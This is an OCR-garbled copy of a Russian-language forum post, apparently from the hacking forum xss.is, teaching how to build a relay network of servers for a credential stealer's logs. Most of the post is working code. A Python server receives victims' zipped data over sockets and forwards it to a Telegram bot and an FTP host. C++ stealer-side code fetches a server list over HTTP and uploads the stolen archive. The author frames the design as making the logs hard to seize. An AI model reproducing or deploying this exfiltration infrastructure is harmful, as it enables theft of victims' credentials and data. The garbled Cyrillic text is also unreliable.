CrtaTtbs lNceBpnopacnpenenéHHasa ceTb cepBepoB AnNA
Bawero ctunnepa (C++/Python)

& xss.is/threads/54141

[TpuBeT, cEeroHA 5 pACCKAXKY KaK BbI MOXKETE CO3/IaTh CBOIO nNceaidopacnpedenéHHyo
cemu J|Jisl CBOMX CTHJLJIEPOB WJIM JIpyToro codpra

s npuMepa Mbl OyJieM OTChLIIATh HAIIU JIOTU B TeslerpaMm, CBOpOBATh BAaIllU JIOTH
CTaHAAPTHBIM CIIOCOOOM IIPU HCIOJIb30BAHUU TAKOU CETHU - HEBO3MOKHO

MezxceTeBoe 00II[eHNEe PEaTU30BAHO C IOMOIIIBIO0 COKETOB, UTO 03HAYaeT MaKCHMAaJIbHYIO
COBMECTUMOCTH (HO 3TO HE TOYHO, IIOIIPaBbTE MEHS, €CJIN HE ITPaB)

CtopoHa cepBep-renta [Python]

[TepemeHHBIE 11 OMOJTNOTEKM:
Python:

H#it#

import socket, tqdm, telebot, os, ftplib, random, string
from _thread import *

from requests import get

H#it#

ServerSideSocket = socket.socket()

BUFFER_SIZE = 4096

SEPARATOR = "<SEPARATOR>" # Pa3pgeneHue 3aronoBKoB gnAa co3paHua daina (filename, filesize)
TOKEN = "your_telegram_token"

MYID = "your_chat_token"

bot = telebot.TeleBot(TOKEN)

session = ftplib.FTP("HOST", "USER", "PASS")
session.encoding="utf-8"'

host = get('https://api.ipify.org').text
port = 12345 # your port here

i1 Hayasia flaBaiiTe 0003HAYUM aJITOPUTM PaOOTHI:


https://xss.is/threads/54141/

1. [Tpu mepBOM 3allycKe KaKJbIl cepBep reHepupyeT cBou k-3HAUHBIN aiiay (Ha Balne
YCMOTpPEHUE)
Python:

UNIQUE_ID = ''.join(random.choices(string.ascii_uppercase + string.digits, k=8))
if os.path.exists("retarget.key"):

f_temp = open("retarget.key","r")

UNIQUE_ID = f_temp.read()
else:

with open("retarget.key","w") as f_temp:

f_temp.write(UNIQUE_ID)

2. [lasiee MBI [1OJIy4aeM CIHUCOK BCeX AKTUBHBIX CEPBEPOB U €CJIU B CIIUCKE 0Ka3asIach
MaIlliHa ¢ HAIlTUM UMEeHEM, TO epe3anuchiBaeM e€ cBouM IP aapecom (kaxkaasi cTpoka
- kaxkgag mammuna, popmat UNIQUE_ID_hostip)
Python:

try:

session.retrlines('RETR /public_html/activeservers.txt', activeServers.append)
except Exception as e:

bot.send_message(MYID,f"Host: {host}\n\nMpousowna owubka:\n\n{e}")

def check_host(UNIQUE_ID):
for num in range(@,len(activeServers)):
currLine = activeServers[num].split("_")
if currLine[@] == UNIQUE_ID:
current_num = num
return True
if check_host(UNIQUE_ID):
print(activeServers[current_num])
if activeServers[current_num].split("_")[1] != host:
activeServers[current_num] = UNIQUE_ID+"_ "+host

3. Ecoiu B criricke He 0Ka3ajioch MaIIMHBI C HAIITUM HMeHeM, TO J00aBJIsieM B MacCUB
3anuchk ¢ UNIQUED ID u ceoum IP agpecom
Python:

else:
activeServers.append (UNIQUE_ID+"_ "+host)



4. CoxpaHsieM B .txt akTyaJIbHBIN CIIUCOK BCEX CEPBEPOB U OTIpaBiseM Ha Hawl FTP

Python:

with open("activeservers.txt", "w") as txt_file:
for line in activeServers:
txt_file.write("".join(line) + "\n")
session.storlines("STOR " + "/public_html/activeservers.txt", open("activeservers.txt",
‘rb"))
os.unlink("activeservers.txt")

5. 3amyckaeM HaIll COKET-CepBeP U OKuaeM nmpuéma $amioB KOTopble Oyaem
IlepeHaInpaBJIATh Ky/ia BaM YyTOAHO (B paMKax JaHHO! peayin3ali Mbl MOXKeM
OTIPaBUTh TOKYMeHT B TesierpaMM WiIu BBITPY3UTh Ha TOT ke FTP cepBep)

Python:

try:
ServerSideSocket.bind((host, port))

except socket.error as e:
ServerSideSocket.bind(("localhost™, port))
print(str(e))

J17151 BO3MOKHOCTH PabOTHI OJTHOBPEMEHHO C HEKOTOPHIM KOJIMYECTBOM KJIMEHTOB CEPBEP
rcrosb3yetr multithreading, moatomy o6paboTka Kak/10ro KJIMeHTa IIPOUCXOTUT B
OT/IEJTBHOM ITOTOKE CIEINATbHO BhIIEJIEHHOU (DYHKITHEH:

Python:



def multi_threaded_client(connection, address):
try:
received = connection.recv(BUFFER_SIZE)
print(str(received))
filename, filesize = str(received).split(SEPARATOR)
filename = os.path.basename(filename)
filesize = int(filesize.replace("'",""))
progress = tqdm.tqdm(range(filesize), f"Retargeting:", unit="B", unit_scale=True,
unit_divisor=1024)
with open(filename, "wb") as f:
while True:
bytes_read = connection.recv(BUFFER_SIZE)
if not bytes_read:
break
f.write(bytes_read)
progress.update(len(bytes_read))
f1 = open(filename,"rb")
bot.send_document(MYID, f1,caption=f"LOG FROM {address[0]}")
fl.close()
connection.close()
os.unlink(f1l.name)
except Exception as e:
print(f"ERROR: {e}")

IIpumeuaHue: gaiin 30ecb omkpvleaemes N08MOPHO, MAK KAk NPu UCNOAb308AHUU
omKpwvimozo gailna 012 3anucu ¢ NOMoKa 0aHHbLX OH Haxooumcs ecé eule 8 busy
cocmosinuu (@aiin *.zip 3aHam npoueccom **.exe)

A cama QyHKIHA 3a71aeTcsl B 06CKOHEYHOM MOTOKE JIJIs1 HeIIPEPBIBHOM 00pabOTKU JaHHBIX:
Python:

while True:
Client, address = ServerSideSocket.accept()
start_new_thread(multi_threaded_client, (Client, address, ))

Bor u Bea peasnmsanus, 3arpyskaete *.py Ha Balll Zle/IUK U 3aIlycKaeTe, cepBep 100aBiisgeT
cebs1 B CIMCOK aKTUBHBIX CEPBEPOB U HAUMHAET PaboTy

CTopoHa KnueHTa-oTnpaBuTensa AaHHbIX [C++]

B Hatem npuMepe UCHoOIb3yeTCs CTUJIEP, KOTOPHIY cOOUpaeT Bee IaHHbIE B OVH .Zip
daiis, ero-to MbI 1 Oy/ieM OTIIPABJIATH HA HAIIl CEPBEP-TEUT
Kak u B cityyae ¢ cepBepoM OIHUIIEM aJITOPUTM:



1. /14 Havasia Mbl IOAK/II09aeMcsA K COKeTYy KOTOPBIU ITOJIyYUJIA HA BXOJ:
C++:

static bool socket_upload(std::string hosts, int port, std::string path) {
WSADATA wsaData;
WSAStartup (MAKEWORD(2, 2), &wsaData);
SOCKET Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct hostent* host;
std::cout << "Initialized\n";
host = gethostbyname(hosts.c_str());
SOCKADDR_IN SockAddr;
SockAddr.sin_port = htons(port);
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr);
std::cout << "Connecting...\n";
if (connect(Socket, (SOCKADDR*)(&SockAddr), sizeof(SockAddr)) < @) return false;
std::cout << "Connected.\n";

2. 3aTeM ynuTaeM (a1 B 6aiiTax ¥ OTIPaBJIsAeM IEPBOCTEIIEHHBIN KyCOUeK JAHHBIX C
Ha3BaHueM ¢aiiyia 1 ero pa3Mepom
C++:

HANDLE hFile = CreateFileA(path.c_str(), GENERIC_READ, @, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);

int size = GetFileSize(hFile, NULL);

char* send_f = (char*)(path + "<SEPARATOR>" + std::to_string(size)).c_str();
std::cout << "First request: " << send_f;

send(Socket, send_f,strlen(send_f),0);

Sleep(1000);

ITpumeuarue: <SEPARATOR?> ucnoav3yemcs 042 pasdeneHusn 0aHHbIx filename u
filesize, a Sleep(1000) umobut uzbexcams cmeleHUs 3a20108Ka U meaa gaiina



3. OtmpasJisieM OAWTHI HEITOCPE/ICTBEHHO Ha CEPBEP
C++:

int bytesSent = 0;

do {
char buff[300];
DWORD dwBytesRead;
//Copy file into array buff
if (!ReadFile(hFile, buff, 300, &dwBytesRead, NULL)) {

std::cout << GetLastError << std::endl;

}
bytesSent += send(Socket, buff, dwBytesRead, 0);
std::cout << bytesSent << "\n";

} while (bytesSent < size);

closesocket(Socket);

WSACleanup();

return true;



C++:

static bool socket_upload(std::string hosts, int port, std::string path) {
WSADATA wsaData;
WSAStartup (MAKEWORD(2, 2), &wsaData);
SOCKET Socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct hostent* host;
std::cout << "Initialized\n";
host = gethostbyname(hosts.c_str());
SOCKADDR_IN SockAddr;
SockAddr.sin_port = htons(port);
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr);
std::cout << "Connecting...\n";
if (connect(Socket, (SOCKADDR*)(&SockAddr), sizeof(SockAddr)) < @) return false;

std::cout << "Connected.\n";

// Open the existing file.
HANDLE hFile = CreateFileA(path.c_str(), GENERIC_READ, @, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_READONLY, NULL);

int size = GetFileSize(hFile, NULL);
char* send_f = (char*)(path + "<SEPARATOR>" + std::to_string(size)).c_str();

std::cout << "First request: " << send_f;
send(Socket, send_f,strlen(send_f),0);
Sleep(1000);

int bytesSent = 9;

do {

char buff[300];
DWORD dwBytesRead;
//Copy file into array buff
if (!'ReadFile(hFile, buff, 300, &dwBytesRead, NULL)) {
std::cout << GetLastError << std::endl;
}
bytesSent += send(Socket, buff, dwBytesRead, ©0);
std::cout << bytesSent << "\n";
} while (bytesSent < size);
closesocket(Socket);
WSACleanup();
return true;

Well done, Mmbl peanuM3oBanu NpocTylo OTNpPaBKY HalWKX AaHHbIX HA cepBep, HO OTKyAa
Ham B3ATb cepBep? - Muwem Koa aanbLue!




TexcToBbil daiii activeservers.txt B KOTOPOM XpaHATCSA BCe TEKYIME aKTUBHbBIE MAITUHbI
JTOJIKEH OBITH JIOCTYTIEH U3BHE, /IJISI TOTO OTJIMYHO MOIOU/YT OeCIiylaTHhIE XOCTUHTH
(ooowebhost wn gpyrue) He pekjaaMa, MHE He TIJTATUJIH.

Ero comep:xkumoe MbI Oyzem mosrydath uepe3 GET 3ampoc, T.x FTP 3ampock! u3-mnoj
Windows tpurrepsar bpauamaysp Windows, a HaM ke He Hy»KHBbI JIMIITHUE TEJIOIBUKEH S
JKE€PTBHI..

Metopn ornpaBku GET cTpouTtces cxoxxum o6pa3oM, Kak U MPH OTIpaBke daiiyia, TOJIbKO B
STOT pa3 BMECTO JIAHHBIX MbI OTIIPABUM 3aroJIOBKU U CUMTAEM OTBET OT cepBepa (2 OTBETOM
1 OyzieT TOT caMblii .txt daiin)

C++:



static std::string HTTP_GET(std::string host,int port, std::string path) {
std::string request;
std::string response;
int resp_leng;

char buffer[BUFFERSIZE];
struct sockaddr_in serveraddr;
int sock;

WSADATA wsaData;
struct hostent* ipadd = gethostbyname(host.c_str());

std::stringstream ss;
std::stringstream request2;

request2 << "GET " << path << " HTTP/1.1" << std::endl;

request2 << "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR
1.1.4322; .NET CLR 2.0.50727)" << std::endl;

request2 << "Host: " << host << std::endl;

request2 << "Connection: close" << std::endl;
request2 << std::endl;

request = request2.str();

WSAStartup (MAKEWORD(2, @), &wsaData);

sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

memset(&serveraddr, 0, sizeof(serveraddr));

serveraddr.sin_family = AF_INET;

serveraddr.sin_addr.s_addr = *((unsigned long*)ipadd->h_addr);
serveraddr.sin_port = htons((unsigned short)port);

connect(sock, (struct sockaddr*)&serveraddr, sizeof(serveraddr));

send(sock, request.c_str(), request.length(), 0);
response = "";

resp_leng = BUFFERSIZE;

while (resp_leng == BUFFERSIZE)

{
resp_leng = recv(sock, (char*)&buffer, BUFFERSIZE, 0);
if (resp_leng > 0)
response += std::string(buffer).substr(0, resp_leng);
}
closesocket(sock);
WSACleanup();

return response.substr(response.find("\r\n\r\n"));

Socket - kaccHas 1 ynoOHas mITyKa



VBBI 1 ax, HO oTBeT oT GET 3ampoca mpuxogut B popme O/THOM CTPOKH, HAM HYKHO 3TO
HCIIPABJIATH U JIEJIUTH UX ITIOCTPOYHO:

C++:

static std::vector<std::string> split_string by newline(const std::string& str)

{

auto result = std::vector<std::string>{};
auto ss = std::stringstream{ str };

for (std::string line; std::getline(ss, line, '\n');)
if (line.length() > 2) result.push_back(line);

return result;

A Tenepb MOKHO YK€ MOJIy4YaTh U caM a/IPeC cepBep-relTa 1 MOAKII0YaThCsA
BoaBpaijaemMbIii BEKTOP MOKHO paccMaTPUBATh KaK MacCUB, II03TOMY CIIOKOMHO
reHepHUpyeM YHCJIO M BBIOUPaeM PaHIOMHBIN CEPBEP U3 aKTUBHBIX:

C++:

static void try_to_connect(std::string path, int port) {

srand(time(0));

std::vector<std::string> foo = split_string by newline(HTTP_GET("your_url to_site.com",
80, "/activeservers.txt"));

int randomIndex = rand() % foo.size();

Kaxk Bp1 nomuUTE, popMaT Hammux akTuBHbIX MamuH - UNIQUEID__HOSTIP, oguako, oH
HY>K€H HaM TOJIbKO NP MHUHUIAAIN3AIUN MAIIWH, KJIMEHTY K€ Hy>KHO 3HaTh TOJIBKO caM
IP-agpec, mosaTOMY JIaBaliTe JOCTAHEM €T0 OTCIO/IA

C++:

std::string token = foo[randomIndex].substr(foo[randomIndex].find("_") + 1,
foo[randomIndex].length());

U y>xe Terepb Mbl TOUHO MOXKEM CIIOKOMHO IO/IKJIIOYATHCA K cepBepy U Ilepe/iaBaTh HAIll
daii:
C++:

if (!socket_upload(token, port, path)) try_ to_connect(path, port);
else std::cout << "Success!";



IIpumeuaHue: 019 Mmo20 uMobbL HAWA NPOSPAMMA He PYUUAACL NPU HeAOCMYNHOM
cepgéepe Mbl UCNO1b3YeM PeKYPCUBHYO GYHKUUIO 8bl308a 3a2PY3KuU, 0OHAKO, 0CMAasuUmMb
pexypcusHyo GyHKkyuro 6e3 anrbmepHamueHo20 8b1800a Mbl HE MOXCEM, NOIMOMY U
evleodum "Success!", o0nako, oHo Hukoz2da He 6ydem 8bleedeHO, N0IMoMmy 8 0aHHbLL else bl
Modiceme 8nuUCamb 8ce Umo 8am Yy200HO

C++:



static std::vector<std::string> split_string_ by newline(const std::string& str)
{

auto result = std::vector<std::string>{};

auto ss = std::stringstream{ str };

for (std::string line; std::getline(ss, line, '\n');)
if (line.length() > 2) result.push_back(line);

return result;
}
static void try_to_connect(std::string path, int port) {

srand(time(0));

std::vector<std::string> foo = split_string by newline(easy_ HTTP_GET("your_site.com", 80,
"/activeservers.txt"));

int randomIndex = rand() % foo.size();

std::string token = foo[randomIndex].substr(foo[randomIndex].find("_") + 1,
foo[randomIndex].length());

if (!socket_upload(token, port, path)) try to_connect(path, port);

else std::cout << "Success!";

static std::string easy HTTP_GET(std::string host,int port, std::string path) {
std::string request;
std::string response;
int resp_leng;

char buffer[BUFFERSIZE];
struct sockaddr_in serveraddr;
int sock;

WSADATA wsaData;
struct hostent* ipadd = gethostbyname(host.c_str());

std::stringstream ss;
std::stringstream request2;

request2 << "GET " << path << " HTTP/1.1" << std::endl;

request2 << "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR
1.1.4322; .NET CLR 2.0.50727)" << std::endl;

request2 << "Host: " << host << std::endl;

request2 << "Connection: close" << std::endl;
request2 << std::endl;

request = request2.str();

WSAStartup (MAKEWORD(2, @), &wsaData);

sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

memset (&serveraddr, 0, sizeof(serveraddr));
serveraddr.sin_family = AF_INET;
serveraddr.sin_addr.s_addr = *((unsigned long*)ipadd->h_addr);



serveraddr.sin_port = htons((unsigned short)port);
connect(sock, (struct sockaddr*)&serveraddr, sizeof(serveraddr));

send(sock, request.c_str(), request.length(), 0);
response = "";

resp_leng = BUFFERSIZE;

while (resp_leng == BUFFERSIZE)

{
resp_leng = recv(sock, (char*)&uffer, BUFFERSIZE, 0);
if (resp_leng > 0)
response += std::string(buffer).substr(0, resp_leng);
b
closesocket(sock);
WSACleanup();

return response.substr(response.find("\r\n\r\n"));

}

try _to_connect(path_to_file, port); // Mbl ykasbiBanu nopT 12345, He 3abyabTe ero ykasaTb U
3pecb

Cnacu60 3a npoyTeHue Moeu cTaTbU, HaAEeCb XOTb KOMY-HUOYAL byaeT
MHTepeceH U noseseH AaHHbIA maTepuan *_A



